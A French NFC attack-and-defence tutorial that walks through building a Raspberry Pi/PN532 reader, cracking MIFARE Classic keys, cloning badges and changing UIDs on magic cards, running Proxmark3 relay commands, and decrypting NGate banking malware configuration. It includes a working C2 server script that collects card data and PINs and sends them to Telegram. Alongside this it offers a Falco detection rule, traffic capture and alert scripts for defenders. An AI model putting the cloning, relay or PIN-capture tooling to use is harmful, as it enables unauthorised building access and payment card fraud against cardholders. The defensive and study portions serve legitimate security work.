Kill Chain offensive, analyse NGate, contre‑mesures Blue Team – un tutoriel, tous les schémas, et des explications pas à pas pour chaque commande.
Ce guide dépasse le simple tutoriel technique. Il intègre une doctrine opérationnelle : modélisation d’attaque, profils d’adversaires, arbres de décision, métriques temps/coût, et réponse Blue Team. Vous ne deviendrez pas seulement un technicien NFC, mais un opérateur autonome capable de penser comme un attaquant et de défendre comme un professionnel.
Une attaque NFC réelle suit un cycle structuré. Voici les phases, avec exemples concrets et les artefacts détectables par une défense.
| Phase | Description | Artefacts détectables |
|---|---|---|
| Recon | Sniff de tags, identification du protocole, fingerprint du lecteur. | Scans NFC répétés, logs USB, bursts de requêtes SELECT PPSE. |
| Access | Obtention d’un badge physique (social engineering, perte, vol) ou clé par dictionnaire. | Badges déclarés perdus, authentifications échouées massives. |
| Exploit | Attaque nested/hardnested pour extraire les clés (MIFARE) ou capture APDU (EMV). | Bursts d’authentifications, latence anormale, temps de réponse inhabituel. |
| Relay/Clonage | Copie du badge ou relay en temps réel (NGate). | Incohérence géographique (relay), même UID utilisé à deux endroits simultanément. |
| Monétisation | Retrait ATM, accès physique, vente de données. | Transactions hors normes, accès physiques en dehors des horaires. |
| Évasion | Effacement des logs, random UID cycling, timing jitter. | Trous dans les logs, comportement non déterministe. |
| Type | Capacités | Matériel typique | Coût | Risque détection |
|---|---|---|---|---|
| Script kiddie | Clonage MIFARE, replay simple | Flipper Zero, PN532 | 50‑200€ | Faible (attaque grossière) |
| Criminel organisé | NGate, relay bancaire, malware Android | Smartphones, Proxmark3, serveurs C2 | 500‑5000€ | Élevée (opérations discrètes) |
| APT (Étatique) | Hardware custom, firmware modifié, zero‑day | Matériel militaire, attaques side‑channel | 10k€+ | Très faible (techniques avancées) |
Cette typologie permet d’adapter les contre‑mesures : un script kiddie sera arrêté par un simple honeypot, un APT nécessitera une détection comportementale poussée.
Matériel, câblage, installation logicielle et création du fichier blank.mfd. Chaque commande est expliquée en détail.
| Composant | Modèle | Coût estimé |
|---|---|---|
| Raspberry Pi Zero 2W | Avec GPIO soudés | 25-30 € |
| Module PN532 | Version SPI (pins soudés) | 10-15 € |
| Jumper wires | 6x femelle-femelle, 20cm | 2 € |
| Badges MIFARE Classic 1K | Clones chinois (UID changeable) | 5-10 € le lot |
Alternatives haut de gamme : Proxmark3 (80‑120€) ou Chameleon Ultra (60‑80€). Le choix de l’outil dépend de la mission :
Important : Placez les switches du PN532 en position SPI (voir documentation). Utilisez une pince à épiler pour basculer délicatement les micro-interrupteurs.
Voici les commandes pour configurer votre Raspberry Pi. Chaque bloc est commenté pour comprendre son rôle.
# Mise à jour du système
sudo apt update && sudo apt upgrade -y
# Installation des dépendances nécessaires
# screen : sessions persistantes, git : clonage des dépôts, apache2 : serveur web local,
# hexcurse : éditeur hexadécimal, autoconf/libtool : compilation, libusb-dev : accès USB
sudo apt install -y screen git apache2 hexcurse autoconf libtool libusb-dev
# Activer l'interface SPI du Raspberry Pi (nécessaire pour communiquer avec le PN532)
sudo raspi-config nonint do_spi 0
# Cloner et installer libnfc (bibliothèque de base pour NFC)
git clone https://github.com/nfc-tools/libnfc.git
cd libnfc
autoreconf -vis # génère les fichiers de configuration
./configure --prefix=/usr --sysconfdir=/etc # prépare l'installation
make # compile
sudo make install # installe dans le système
sudo ldconfig # met à jour la bibliothèque dynamique
# Configuration de libnfc pour utiliser le PN532 en SPI
sudo mkdir /etc/nfc
sudo cp libnfc.conf.sample /etc/nfc/libnfc.conf
echo 'device.name = "PN532 Reader (SPI)"' | sudo tee -a /etc/nfc/libnfc.conf
echo 'device.connstring = "pn532_spi:/dev/spidev0.0:50000"' | sudo tee -a /etc/nfc/libnfc.conf
# Vérification que le lecteur est bien détecté
nfc-scan-device # doit afficher "PN532 Reader (SPI)"
# Installation de mfoc-hardnested (outil de récupération de clés MIFARE)
cd ~
git clone https://github.com/nfc-tools/mfoc-hardnested.git
cd mfoc-hardnested
autoreconf -vis
./configure
make
sudo make install
cd ~
# Ajout de swap 4 Go (indispensable pour les attaques hardnested qui consomment beaucoup de RAM)
sudo fallocate -l 4G /swapfile
sudo chmod 600 /swapfile
sudo mkswap /swapfile
sudo swapon /swapfile
echo '/swapfile swap swap defaults 0 0' | sudo tee -a /etc/fstab
echo 'vm.swappiness=100' | sudo tee -a /etc/sysctl.conf # augmente l'utilisation du swapCe fichier représente un badge MIFARE Classic 1K totalement vierge, avec un UID par défaut (01234567) et des clés par défaut (FFFFFFFFFFFF) pour tous les secteurs. Il servira de base pour vos manipulations.
# Créer un fichier vide de 1024 octets (taille d'un MIFARE Classic 1K)
dd if=/dev/zero of=blank.mfd bs=1 count=1024
# Écrire l'UID et le BCC (bloc 0) – les 8 premiers octets
# 01 23 45 67 = UID sur 4 octets, 00 = BCC, 08 00 = données manufacturier
printf '\x01\x23\x45\x67\x00\x00\x08\x00' | dd of=blank.mfd bs=1 seek=0 conv=notrunc
# Remplir les 16 sector trailers (tous les 4 blocs) avec des clés par défaut
# Chaque secteur trailer fait 16 octets : Key A (6) + Access Bits (4) + Key B (6)
# Les valeurs par défaut : Key A = FFFFFFFFFFFF, Access Bits = FF078069, Key B = FFFFFFFFFFFF
for i in {3..63..4}; do
printf '\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x07\x80\x69\xFF\xFF\xFF\xFF\xFF\xFF' | dd of=blank.mfd bs=1 seek=$((i*16)) conv=notrunc
doneExplication : MIFARE Classic 1K possède 16 secteurs de 4 blocs chacun (blocs 0‑3 pour secteur 0, 4‑7 pour secteur 1, etc.). Le dernier bloc de chaque secteur (bloc 3, 7, 11, …, 63) est le « sector trailer » qui contient les clés et les droits d'accès. En remplissant tous ces blocs avec les clés par défaut, on obtient un tag utilisable avec les outils standard.
Les clones chinois (« Magic Cards ») se distinguent par leur capacité à modifier l’UID. Utilisez ce script pour détecter le type :
#!/bin/bash
echo "Test d'écriture du bloc 0 (UID) :"
nfc-mfsetuid 11223344 -q 2>/dev/null
if [ $? -eq 0 ]; then
echo "[+] Gen1/Gen2 : UID modifiable via commande standard"
else
echo "[-] Pas de support nfc-mfsetuid, test commande backdoor 0x40..."
python3 -c "
import nfc
clf = nfc.ContactlessFrontend('usb')
tag = clf.connect(rdwr={'on-connect': lambda t: False})
if hasattr(tag, 'cl3_write_uid'):
print('[+] Gen3 détecté (backdoor 0x40)')
else:
print('[-] Tag non clonable ou Gen inconnu')
"
fiExplication : nfc-mfsetuid fonctionne sur les clones Gen1 et Gen2. Si ça échoue, on teste la commande backdoor 0x40 (spécifique aux Gen3) via la bibliothèque nfc en Python. Certains Gen3 nécessitent un mot de passe supplémentaire.
# Lecture d'un tag avec les clés par défaut (Key A)
# r = read, a = utiliser Key A, u = prendre le premier UID trouvé, dump.mfd = fichier de sortie
nfc-mfclassic r a u dump.mfd
# Écriture d'un fichier dump sur un tag (clonage)
# w = write, a = utiliser Key A, u = premier UID, dump.mfd = fichier source
nfc-mfclassic w a u dump.mfd
# Écriture forcée (y compris le bloc manufacturier) – réservé aux clones chinois
nfc-mfclassic W a u dump.mfd # W majuscule = écriture forcée
# Changement d'UID (uniquement sur clones Gen1/Gen2)
nfc-mfsetuid 8302C5CD # remplace l'UID par 8302C5CD
# Réinitialisation d'un clone corrompu (efface tout et remet les clés par défaut)
nfc-mfsetuid -f -q && nfc-mfclassic W a u blank.mfdConseil : Avant toute écriture, vérifiez que vous utilisez bien un clone chinois si vous voulez modifier le bloc 0. Sinon, une erreur se produira.
Explication : L'utilisateur installe une fausse application bancaire (par phishing). L'application demande à approcher la carte et à saisir le PIN. En arrière‑plan, elle capture les APDU et les envoie à un serveur C2. Un complice, situé près d'un ATM, reçoit ces données et les rejoue via un téléphone en mode HCE, trompant le terminal bancaire.
#!/usr/bin/env python3
import binascii, hashlib
# key = SHA-256(certificate DER) – exemple tiré d’un échantillon CERT Polska
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct_hex = open("____", "r").read().strip()
ct = binascii.unhexlify(ct_hex)
pt = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))Explication : Le fichier ____ contient une chaîne hexadécimale. On la convertit en bytes, puis on la déchiffre avec un XOR répétitif utilisant la clé dérivée du certificat. Le résultat est un fichier de configuration texte avec des paramètres comme host:=91.84.97.13 et port:=5653.
xyz.ngate-c2.com) peuvent trahir une communication C2.sudo tcpdump -i any -X port 5653Explication : Cette commande capture en direct tout le trafic sur le port 5653 et affiche le contenu hexadécimal. Permet de visualiser les trames NGate.
#!/usr/bin/env python3
import socket, threading, struct, requests
from datetime import datetime
TELEGRAM_BOT_TOKEN = "VOTRE_TOKEN"
TELEGRAM_CHAT_ID = "CHAT_ID"
def send_telegram(msg):
if TELEGRAM_BOT_TOKEN != "VOTRE_TOKEN":
requests.post(f"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/sendMessage",
json={"chat_id": TELEGRAM_CHAT_ID, "text": msg})
def handle_client(conn):
try:
raw_len = conn.recv(4)
if not raw_len: return
length = struct.unpack(">I", raw_len)[0]
opcode = struct.unpack(">I", conn.recv(4))[0]
body = conn.recv(length)
if opcode == 0x01:
print(f"[!] {datetime.now()} CARD DATA: {body.hex()}")
send_telegram(f"Card data: {body.hex()}")
elif opcode == 0x02:
pin = body.decode()
print(f"[!] PIN CAPTURED: {pin}")
send_telegram(f"PIN: {pin}")
except Exception as e:
print("Error:", e)
finally:
conn.close()
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 5653))
server.listen(5)
print("[*] NGate C2 listening on 5653")
while True:
conn, addr = server.accept()
threading.Thread(target=handle_client, args=(conn,)).start()Explication : Ce serveur écoute les connexions entrantes. Il lit d'abord la longueur (4 octets), puis l'opcode (4 octets), puis le corps. Selon l'opcode (0x01 pour données carte, 0x02 pour PIN), il affiche et envoie une notification Telegram. C'est une simulation de C2 pour les tests.
# Émuler un tag avec un UID fixe (exemple)
proxmark3 -c "hf 14a sim -t 1 -u 12345678"
# Mode relay : retransmet en temps réel ce que le lecteur envoie vers un tag distant
proxmark3 -c "hf 14a relay"Explication : La première commande simule un tag avec un UID donné. La seconde place le Proxmark3 en mode relay : il écoute les commandes d'un lecteur et les transmet à un tag distant (via un second Proxmark ou un tunnel). C'est ainsi que les attaquants rejouent les sessions EMV.
Sur Android, restreignez l’utilisation du NFC en mode HCE :
adb shell appops set com.malicious.app NFC 1 pour interdire l’accès NFC à une application suspecte.Falco surveille les appels système. Voici une règle pour détecter une rafale de commandes SELECT PPSE sur le bus USB :
- rule: Mass NFC SELECT PPSE
desc: Détecte un grand nombre de commandes SELECT PPSE
condition: >
evt.type=read and fd.name=/dev/usbmon* and
evt.buffer contains "A4 04 00 0E 32 50 41 59 2E 53 59 53"
output: "NFC relay suspect (SELECT PPSE répété) (command=%evt.buffer)"
priority: CRITICALExplication : La condition cherche dans le tampon lu depuis un périphérique USB (usbmon) la présence de la chaîne hexadécimale correspondant à la commande SELECT PPSE. Si cette séquence apparaît plusieurs fois en peu de temps, elle déclenche une alerte.
Les banques comparent désormais la localisation de l’ATM et celle du téléphone de la victime via GPS. Un écart >500m déclenche un blocage. En lab, simulez cette détection en enregistrant les coordonnées fictives.
Un script Python qui surveille en permanence les accès NFC et déclenche une alerte dès qu’un tag inconnu est scanné.
import nfc, time
def on_connect(tag):
print(f"[ALERTE] Tag scanné : UID={tag.identifier.hex()}")
return True
clf = nfc.ContactlessFrontend('usb')
while True:
clf.connect(rdwr={'on-connect': on_connect})
time.sleep(0.1)nfc-mfsetuid sur un tag Gen3 le rend inutilisable.Chaque étape est simulable en lab avec les outils du tutoriel.
| Protocole | Sécurité | Clonage possible ? | Relay possible ? | Usage principal |
|---|---|---|---|---|
| MIFARE Classic | Crypto1 (cassé) | Oui (mfoc) | Oui (relay passif) | Badges accès, anciens transports |
| MIFARE DESFire EV2/3 | AES‑128 | Non (sauf clés faibles) | Théoriquement oui (relay full), mais complexe | Transports modernes |
| EMV (cartes bancaires) | AES + RSA + token | Non (dynamique) | Oui via HCE (NGate) | Paiements |
| NTAG21x | Password (bruteforçable) | Oui si password connu | Oui (replay simple) | Tags marketing |
Les trois fichiers essentiels sont fournis via les commandes wget ci‑dessous. Pour un environnement totalement isolé, vous pouvez les récupérer une fois, puis les conserver localement.
cd ~/nfc
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/blank.mfd
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/blank_iPhone.mfd
wget https://github.com/smolinde/nfc-tutorial/raw/master/nfc-templates/sample_with_keys.mfdLe fichier sample_with_keys.mfd contient les clés 1DB6261B7C / D43648824A42 et les access bits 7F0788.
#!/bin/bash
echo "Reset du badge clone..."
nfc-mfsetuid -f -q
nfc-mfclassic W a u blank.mfd
echo "Terminé."Pour calculer facilement les bits d’accès MIFARE, installez ce calculateur sur votre Raspberry Pi :
cd ~
git clone https://github.com/akafugu/MIFARE-Classic-1K-Access-Bits-Calculator.git
sudo cp -r MIFARE-Classic-1K-Access-Bits-Calculator/* /var/www/html/
# Accédez via http://nfclab.local/mifareWidget/Vous possédez désormais un guide complet, de la construction matérielle à la réponse Blue Team, en passant par des arbres de décision opérationnels, des métriques temps/coût, et une intégration de la détection dans la kill chain. Ce manuel est conçu pour être utilisé en laboratoire, comme référence tactique. Appliquez ces connaissances avec éthique, et partagez les bonnes pratiques autour de vous.